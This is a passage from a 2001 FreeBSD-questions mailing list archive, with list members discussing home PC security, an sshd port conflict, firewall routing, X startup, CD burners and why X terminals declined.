(0x001) 0x00000001 T 40x25 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 2 (0x002) 0x00000001 T 80x25 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 3 (0x003) 0x00000001 T 80x25 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 19 (0x013) 0x00000001 T 40x25 8x14 0xb8000 32k 32k > 0x00000000 32k > >> 20 (0x014) 0x00000001 T 40x25 8x14 0xb8000 32k 32k > 0x00000000 32k > >> 21 (0x015) 0x00000001 T 80x25 8x14 0xb8000 32k 32k > 0x00000000 32k > >> 22 (0x016) 0x00000001 T 80x25 8x14 0xb8000 32k 32k > 0x00000000 32k > >> 23 (0x017) 0x00000001 T 40x25 8x16 0xb8000 32k 32k > 0x00000000 32k > >> 24 (0x018) 0x00000001 T 80x25 8x16 0xb8000 32k 32k > 0x00000000 32k > >> 30 (0x01e) 0x00000001 T 80x50 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 32 (0x020) 0x00000001 T 80x30 8x16 0xb8000 32k 32k > 0x00000000 32k > >> 34 (0x022) 0x00000001 T 80x60 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 112 (0x070) 0x00000000 T 80x43 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 113 (0x071) 0x00000001 T 80x43 8x8 0xb8000 32k 32k > 0x00000000 32k > >> 264 (0x108) 0x00000009 T 80x60 9x8 0xb8000 32k 32k 0x00000000 > >16384k > >> 265 (0x109) 0x00000009 T 132x25 9x16 0xb8000 32k 32k 0x00000000 > >16384k > >> 266 (0x10a) 0x00000009 T 132x43 9x8 0xb8000 32k 32k 0x00000000 > >16384k > >> 267 (0x10b) 0x00000009 T 132x50 9x8 0xb8000 32k 32k 0x00000000 > >16384k > >> 268 (0x10c) 0x00000009 T 132x60 9x8 0xb8000 32k 32k 0x00000000 > >16384k > >> > >> > >> > >> > >> > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org > >with "unsubscribe freebsd-questions" in the body of the message > > > > > > Best regards, > Jack L. Stone, > Server Admin > > Sage-American > http://www.sage-american.com > jacks@sage-american.com > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:55:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mta03-svc.ntlworld.com (mta03-svc.ntlworld.com [62.253.162.43]) by hub.freebsd.org (Postfix) with ESMTP id C98D937B405 for ; Tue, 20 Nov 2001 20:55:16 -0800 (PST) Received: from lungfish.ntlworld.com ([62.253.152.183]) by mta01-svc.ntlworld.com (InterMail vM.4.01.03.13 201-229-121-113) with ESMTP id <20011120224208.MLWU1072.mta01-svc.ntlworld.com@lungfish.ntlworld.com>; Tue, 20 Nov 2001 22:42:08 +0000 Received: from boog.goatsucker.org (boog.goatsucker.org [192.168.1.3]) by lungfish.ntlworld.com (8.11.3/8.11.3) with ESMTP id fAKMg7n02129; Tue, 20 Nov 2001 22:42:07 GMT (envelope-from scott@boog.goatsucker.org) Received: (from scott@localhost) by boog.goatsucker.org (8.9.3/8.9.3) id WAA05186; Tue, 20 Nov 2001 22:41:18 GMT (envelope-from scott) Date: Tue, 20 Nov 2001 22:41:18 +0000 From: Scott Mitchell To: Lars Eighner Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011120224118.C381@localhost> References: <20011120050329.A971@xor.obsecurity.org> <20011120150948.H23357-100000@dumpster.io.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <20011120150948.H23357-100000@dumpster.io.com>; from eighner@io.com on Tue, Nov 20, 2001 at 03:20:14PM -0600 X-Operating-System: FreeBSD 4.1-RELEASE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 03:20:14PM -0600, Lars Eighner wrote: > Home PCs do not need the level of security that servers need because > the machines are physically secure and no one is logging in from off > site. I would hope that your servers are more physically secure than some random home PC :-) As for the network, take one unsecured home PC, mix in an always-on broadband connection and pretty soon half the s'kiddies in the universe are logging on to launch DoS attacks from your box... The stuff on my home machine is just as important to me as anything on my employers servers; I take essentially the same security precautions in both cases. Heck, even Windows ships with a firewall these days, so there's really no excuse not to. Scott -- =========================================================================== Scott Mitchell | PGP Key ID | "Eagles may soar, but weasels Cambridge, England | 0x54B171B9 | don't get sucked into jet engines" scott.mitchell@mail.com | 0xAA775B8B | -- Anon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:55:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id 3840C37B416 for ; Tue, 20 Nov 2001 20:55:16 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAL4tAR22877; Tue, 20 Nov 2001 20:55:11 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Brad Phlipot" , Subject: RE: BSD for my IBOOK Date: Tue, 20 Nov 2001 20:55:10 -0800 Message-ID: <000201c17248$b2e44280$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0003_01C17205.A4C10280" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <000801c17244$982ca5d0$8c8f1218@cx2021383a> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0003_01C17205.A4C10280 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit You want MacOS X - it's built on a BSD core. You can buy it here: http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore click on Apple Software and it will be the first thing listed. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com -----Original Message----- From: owner-freebsd-questions@FreeBSD.ORG [mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Brad Phlipot Sent: Tuesday, November 20, 2001 8:26 PM To: freebsd-questions@FreeBSD.ORG Subject: BSD for my IBOOK Hello, Im trying to locate "BSD" for my Ibook apple notebook. I'm running Macs OS 10.1 and want to install the BSD on my machine. My hopes then are to run Sun's Star Office 5.2 on my apple laptop. Can you send me a link or information on where and how to accomplish this task? Thanks a million. Brad ------=_NextPart_000_0003_01C17205.A4C10280 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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Hello, Im trying to locate = "BSD" for=20 my Ibook apple notebook. I'm running Macs OS 10.1 and want to = install the=20 BSD on my machine. My hopes then are to run Sun's Star Office 5.2 on = my=20 apple laptop. Can you send me a link or information on where and how = to=20 accomplish this task? Thanks a million.
 
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------=_NextPart_000_0003_01C17205.A4C10280-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 20:58:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f17.law11.hotmail.com [64.4.17.17]) by hub.freebsd.org (Postfix) with ESMTP id 8079137B419 for ; Tue, 20 Nov 2001 20:58:32 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 20:58:32 -0800 Received: from 24.116.158.21 by lw11fd.law11.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 04:58:32 GMT X-Originating-IP: [24.116.158.21] From: "Charles Burns" To: questions@freebsd.org Subject: Quick, unimportant X question Date: Tue, 20 Nov 2001 21:58:32 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 04:58:32.0350 (UTC) FILETIME=[2B0C73E0:01C17249] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "XFree86" seems to execute /just/ X, the server, but not Gnome. According to the handbook, it should run X with Gnome if I altrer .xinitrc appropriately. I did and put on in /root and one in /etc/X11/xinit (or something like that) and it seems to completely ignore the entry. Running "xinit", however, runs Gnove fine. Now, X is working great so not problem here, but, why? I just happenned to try 'xinit' as a command for the heck of it. I don't understand the whole way X works yet. The only GUI that I have used for years is... Well, you know... Charles Burns _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21: 7:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id E47D837B417 for ; Tue, 20 Nov 2001 21:07:14 -0800 (PST) Received: from [195.20.224.208] (helo=mrvdom01.schlund.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 166PZU-0004QA-00; Wed, 21 Nov 2001 06:05:16 +0100 Received: from pd9017234.dip.t-dialin.net ([217.1.114.52]) by mrvdom01.schlund.de with esmtp (Exim 2.12 #2) id 166PZT-0007up-00; Wed, 21 Nov 2001 06:05:16 +0100 Date: Wed, 21 Nov 2001 04:03:38 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Anthony Atkielski Cc: Giorgos Keramidas , setantae , Subject: Re: home pc use In-Reply-To: <015d01c1721f$09df3420$0a00000a@atkielski.com> Message-ID: <20011121035513.R46734-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Anthony Atkielski wrote: > You don't approve of comparisons between FreeBSD and > other operating systems? How can I discuss a new > operating system or learn anything about it if I am > forbidden to mention other operating systems with which > I am familiar? Nobody does forbid that. When you ask for a discussion of OS's in general you will receive about 500 emails discussing OS's in general. And you will learn a lot about discussing OS's in general. Regards, Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21: 8:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f39.law11.hotmail.com [64.4.17.39]) by hub.freebsd.org (Postfix) with ESMTP id E888B37B416 for ; Tue, 20 Nov 2001 21:08:15 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 21:08:15 -0800 Received: from 24.116.158.21 by lw11fd.law11.hotmail.msn.com with HTTP; Wed, 21 Nov 2001 05:08:14 GMT X-Originating-IP: [24.116.158.21] From: "Charles Burns" To: pldrouin@hotmail.com, freebsd-questions@freebsd.org Subject: Re: Is plextor PX-W1610TA cd burner a good drive for FreeBSD? Date: Tue, 20 Nov 2001 22:08:14 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 21 Nov 2001 05:08:15.0781 (UTC) FILETIME=[86CCF550:01C1724A] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >I'm unable to burn audio cds with my LG 12x/8x/35x atapi cd burner with >burncd cause it seems not to be supported. So, i would like to buy another >drive and i've seen that Plextor PX-AW1610TA is supported by burncd. I've >read good comments on StorageReview.com about this drive, but i would like >to know if that works well in FreeBSD. Plextor is to CD-ROM drives what a McLaren is to sports cars. (Yes, it is a great drive) I'd get the SCSI models,though. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:17:52 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id 1E63837B416 for ; Tue, 20 Nov 2001 21:17:48 -0800 (PST) Received: from [195.20.224.204] (helo=mrvdom00.schlund.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 166Pkd-0004kB-00; Wed, 21 Nov 2001 06:16:47 +0100 Received: from pd9017234.dip.t-dialin.net ([217.1.114.52]) by mrvdom00.schlund.de with esmtp (Exim 2.12 #2) id 166Pkd-0000w0-00; Wed, 21 Nov 2001 06:16:47 +0100 Date: Wed, 21 Nov 2001 04:15:10 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Anthony Atkielski Cc: Giorgos Keramidas , setantae , Subject: Re: home pc use In-Reply-To: <015d01c1721f$09df3420$0a00000a@atkielski.com> Message-ID: <20011121040749.L46734-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 21 Nov 2001, Anthony Atkielski wrote: > > If you want to learn how FreeBSD works, the people > > on this list and the rest of the FreeBSD support > > lists are more than willing to point to the right > > places. > > Don't they have any answers themselves? If all I want > is _pointers_ to _other_ resources, I can just use > Google. Presenting information in an effective and understandable way is hard work - at least I do earn my living on doing this. So giving pointers to already existing ressources seems quite all-right to me - as long as the desired information can be found in this ressource. And of course: as long as you can help yourself using google, you should do so. Regards, Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:24:37 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by hub.freebsd.org (Postfix) with ESMTP id 7330737B405 for ; Tue, 20 Nov 2001 21:24:35 -0800 (PST) Received: from 66-44-90-253.s634.tnt3.lnhva.md.dialup.rcn.com ([66.44.90.253] helo=sten.alder.net) by smtp03.mrf.mail.rcn.net with smtp (Exim 3.33 #10) id 166Ps9-00055W-00 for questions@freebsd.org; Wed, 21 Nov 2001 00:24:34 -0500 Received: by sten.alder.net (sSMTP sendmail emulation); Wed, 21 Nov 2001 00:24:15 -0500 Date: Wed, 21 Nov 2001 00:24:15 -0500 From: "Bob Hall" To: questions@freebsd.org Subject: Re: home pc use Message-ID: <20011121002415.A458@starpower.net> Mail-Followup-To: Bob Hall , questions@freebsd.org References: <31042019@toto.iv> <15355.9117.91882.40355@guru.mired.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <15355.9117.91882.40355@guru.mired.org>; from mwm@mired.org on Tue, Nov 20, 2001 at 09:46:37PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 09:46:37PM -0600, Mike Meyer wrote: > Greg Lehey types: > > I think you're looking from your standpoint. But note that the > > average user is also very badly educated about computers. When that > > changes, software will get better than the current Microsoft junk. > > Unfortunately, that probably won't happen. Even people who are > educated about computers and realize that it's junk keep on using > it. That's because the cost of converting is so much higher than the > benefit of converting. I mean - how many of people really care about In addition, the average user is going to become less educated about computers. As software becomes more user-friendly, users need to know less about computers and therefore people who know less about computers become users. The average computer user today knows much less about computers than the average user back when the Internet was running on TOPS operating systems. Overtime, improvements in technology will allow people who know even less about computers to start using them, and the average knowledge will decrease even more. Bob Hall To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:28:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 6C40F37B405 for ; Tue, 20 Nov 2001 21:27:53 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id HAA98227; Wed, 21 Nov 2001 07:27:16 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "Zak Johnson" Cc: "FreeBSD Question List" Subject: RE: Complex routing for a firewall Date: Wed, 21 Nov 2001 07:32:11 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <20011120172734.GB4463@loki.intra> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > From: Zak Johnson [mailto:zakj@fenris.cc] > Sent: 20 November 2001 19:28 > > Thank you. According to my ISP, this is standard procedure for him; he > claims Linux can handle this sort of setup just fine, although he hasn't > shown me a working example. At any rate, I'll have to convince him to > hand me out another IP in the gateway's netblock. > I dunno what he's smoking, but it must be good stuff! :) Each link in an IP environment MUST be a network in its own right, even if it is just a tiny subnet for a PPP link. The layout I described has two distinct networks, one for the PPP link and one for the DMZ/Public LAN. To use an address from one network on a NIC attached to the other network just does not make sense. Whether the OS is Linux (or FreeBSD, or anything else) has nothing to do with the issue! Anyway, I suspect I am preaching to the converted. What surprises me is that an ISP (whose one and only order of business is IP networking) is apparently confused about how it should work! Here's a thought - I have previously had problems when dealing with a sales person, or Customer Relationship Manager, or similar. These folks are NOT technically minded, even though they might work for an ISP. He could easily be omitting some vital information without even knowing it. Try to get hold of the technical guy who is configuring the Router which is your gateway (x.x.164.1). He will know which IP blocks have been allocated and routed to you. And he should be able to confirm whether my guesswork before is actually correct or not. I hope you get this sorted out. Regards, Patrick. PS: I notice that I forgot to copy my previous reply to the List, so I'm including it here in case anyone else is in need of the same type of information: -------------------------------------------- Zak, as Crist already suggested, your topology as described cannot work. I think the problem is that you and your ISP are not quite on the same wavelength. Looking at the info in your message, here is what I would _GUESS_ your topology should be. You should verify this with your ISP. ISP Gateway x.x.164.1 /30 | | rl0 = x.x.164.2 /30 Your Firewall /Gateway rl1 = x.x.165.233/29 | | Other Servers x.x.165.234/29 x.x.165.235/29 x.x.165.236/29 x.x.165.237/29 x.x.165.238/29 If this is correct, then all you need to do on your gateway is: ------------------------ defaultrouter=x.x.164.1 ------------------------ in /etc/rc.conf HTH, Patrick. ----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:28:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tk212017121218.teleweb.at (TK212017121218.teleweb.at [212.17.121.218]) by hub.freebsd.org (Postfix) with SMTP id 586B337B418 for ; Tue, 20 Nov 2001 21:28:25 -0800 (PST) Received: (qmail 22691 invoked by uid 1001); 21 Nov 2001 05:28:23 -0000 Date: Wed, 21 Nov 2001 06:28:23 +0100 From: Herbert To: freebsd-questions@FreeBSD.ORG Subject: Re: Elitegroup K7S5A - SIS 735 chipset Message-ID: <20011121062823.A22684@TK212017121218.teleweb.at> Mail-Followup-To: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Operating-System: FreeBSD 4.4-STABLE i386 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hei! I don't care about the onboard nic and the onboard sound! Any changes to see this ide controller running in UDMA100 mode in the near future? Of course I don't want to buy the promise controller! :) Regards, Herbert * Kent Stewart (kstewart@owt.com) [011120 21:14]: > > Herbert wrote: > > > Hei! > > > > Is the K7S5A mainboard and the SIS 735 chipset supported by FreeBSD > > 4.4-STABLE? What about the onboard ide controller? Can I run my hard > > disks in udma66 or udma100 mode? > > > No, only UDMA33. The networking isn't supported. I have a Amptron > 830XLM, which is based on the same SiS-735 chipeset, and I also don't > have onboard sound at this point. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:28:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 1465F37B417 for ; Tue, 20 Nov 2001 21:28:34 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 8EB3466B0F; Tue, 20 Nov 2001 21:28:33 -0800 (PST) Date: Tue, 20 Nov 2001 21:28:33 -0800 From: Kris Kennaway To: Bob Cc: FreeBSD Questions Mail List Subject: Re: sshd error Message-ID: <20011120212833.A13622@xor.obsecurity.org> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="liOOAslEiF7prFVr" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rpl@goldengate.net on Tue, Nov 20, 2001 at 05:29:46PM -0600 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --liOOAslEiF7prFVr Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Nov 20, 2001 at 05:29:46PM -0600, Bob wrote: > I am new to the list and FreeBSD, so please excuse me if this is not the > right place to ask this question. =20 >=20 > I have just completed a new, fresh install of FreeBSD from CDROM, from bo= ok > "The Complete FreeBSD" by Greg Lehey. I pretty much did an all "auto" and > let install pgm do it's thing. I thought it best for first time install. >=20 > PC is a Dell 500 PIII 256Meg Ram. Has 1 NIC, 3C905, IP adr is > 192.168.10.65, mask 255.255.255.0. I can ping other workstations from th= is > box and I can telnet into this box from my W2K box. >=20 > When I try to start sshd, I get error messages. > sshd[336]: error: Bind to port 22 on :: failed: Address already in use. The address is already in use presumably because sshd is already running. sshd runs by default, you know. Kris --liOOAslEiF7prFVr Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7+zuAWry0BWjoQKURAlO5AKDtipalAa4ndYFcx9Ff+/JPKfECnwCfRw1L 4wt7gUgUQt9gEV04FCAx0Gk= =w60B -----END PGP SIGNATURE----- --liOOAslEiF7prFVr-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:29: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [206.29.169.15]) by hub.freebsd.org (Postfix) with ESMTP id E0B3C37B420 for ; Tue, 20 Nov 2001 21:29:00 -0800 (PST) Received: from tedm.placo.com (nat-rtr.freebsd-corp-net-guide.com [206.29.168.154]) by mail.freebsd-corp-net-guide.com (8.11.1/8.11.1) with SMTP id fAL5SdR22969; Tue, 20 Nov 2001 21:28:39 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Mike Meyer" , "Anthony Atkielski" Cc: Subject: RE: home pc use Date: Tue, 20 Nov 2001 21:28:37 -0800 Message-ID: <000701c1724d$5f4525e0$1401a8c0@tedm.placo.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 In-Reply-To: <15355.2770.644343.846234@guru.mired.org> Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG >-----Original Message----- >From: owner-freebsd-questions@FreeBSD.ORG >[mailto:owner-freebsd-questions@FreeBSD.ORG]On Behalf Of Mike Meyer >Sent: Tuesday, November 20, 2001 6:01 PM >To: Anthony Atkielski >Cc: questions@FreeBSD.ORG >Subject: Re: home pc use > >> So are X Terminals still in common use? If not, why not? They >sound like an >> excellent solution to a recurring problem with Windows (namely, >the fact that >> users tend to screw up machines that they can fiddle with themselves). > >No, they've died. [Begin rant] They died because users want to "own" >their things. They don't want to have to trust their data to some >central server controlled by the IT staff, though they expect the IT >staff to back up their machines. [end rant] > Mike, that's a gross simplification if I ever heard of one. :-) X terminals died for the following reasons: 1) Their manufacturers figured they could get a ton of money for them because of the old "If it's UNIX then slap 200% ontop the cost" attitude of commercial software vendors. A top of the line X terminal was loads more expensive than a PC running a decent X server. 2) At one time X terminals had 1280x1024 resolution with millions of colors and PC's had CGA adapters that played through a TV set. Well, perhaps not that bad, but modern graphics cards in a PC surpass anything that any commercial terminal vendors could produce. 3) The X protocol only works decently over an Ethernet LAN it sucks horribly over slow links. Think large corporations with many far-flung WAN links that might be 56k links because they are cheap. 4) Most of the mundane X clients were rewritten to be HTML-spewing applications. For example, compare the Solaris "admintool" with the perl-built "webmin" administration tool. Why the hell would anyone want to go through all the rackafratz of setting up X and X terminals to run a tool that is not extendible (admintool) when you can run webmin with a webbrowser on a $200 PC remotely, a program that only takes a day or so to extend with a new module (if you know Perl that is)? 5) Ever seen a X Terminal laptop? As far as mobile users go, an X terminal is useless because it can't be used offline. I've worked at enough corporations and I've seen some of them with laptop penetration into the 30-40 percentile range. These aren't salesguys that are supposed to be travelling all the time, they are managers and such that need to take work home and find it easier to have the entire desktop carried with them. Consider from an IT departments point of view if they have to setup and staff up to support 20-30 laptops, then they have to put an entire infrastructure in place that is identical to that needed to support a bunch of desktops. Worse is that so many managers view a laptop that costs 3 times more than a desktop and half as powerful as a kind of status symbol and a lot of them will construct elaborate justifications to have them, even though they never travel and never take work home. > >> > Telling managers "I'm waiting for an answer >> > from vendor tech support" is a *very* common >> > occurence with them. >> Yes, and it works well. But it only works if there _is_ a vendor >tech support. > Pull crap like that a few too many times and your going to end up with no job. Yes, you can stave off the immediate demands with excuses. Another common excuse that works with FreeBSD is "I left voicemail with the consultant and he hasn't gotten back yet" But the problem with making excuse after excuse is that the upshot is that your simply not doing anything to solve the problem. After a while people get tired of listening to that and they sense that your not going to be a resource to them anymore. A few short months later and there's managers mettings where department heads are saying totally seriously "Why don't we just outsource the entire IT department, they never do anything anyway" Next thing you find is that your fired and given the option to re-apply for your job with someone like EDS. That is what General Motors did, by the way. GM had a huge IT department that had perfected the art of passing the buck like your advocating here and finally got so sick of it they sliced the entire IT department off into it's own company. Lots of techs suddennly found that they couldn't pass the buck anymore. It never pays to look for ways to NOT do your job. If that's someone's motivation for using Windows then my advice is for them to rapidly seek employment in government because that's about the only place their gonna last. Ted Mittelstaedt tedm@toybox.placo.com Author of: The FreeBSD Corporate Networker's Guide Book website: http://www.freebsd-corp-net-guide.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 21:32:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom00.kundenserver.de (moutvdom00.kundenserver.de [195.20.224.149]) by hub.freebsd.org (Postfix) with ESMTP id DCC2537B42A for ; Tue, 20 Nov 2001 21:32:46 -0800 (PST) Received: from [195.20.224.220] (helo=mrvdom04.kundenserver.de) by moutvdom00.kundenserver.de with esmtp (Exim 2.12 #2) id 166Q02-00044p-00; Wed, 21 Nov 2001 06:32:42 +0100 Received: from pd9017234.dip.t-dialin.net ([217.1.114.52]) by mrvdom04.kundenserver.de with esmtp (Exim 2.12 #2) id 166Q02-0001eP-00; Wed, 21 Nov 2001 06:32:42 +0100 Date: Wed, 21 Nov 2001 04:31:05 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Tom Kersten Cc: Garance A Drosihn , Subject: Re: Re: / is full!!!! Please help... In-Reply-To: <20011121013244.78185.qmail@web10007.mail.yahoo.com> Message-ID: <20011121042138.D46734-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Tom Kersten wrote: > The majority of the 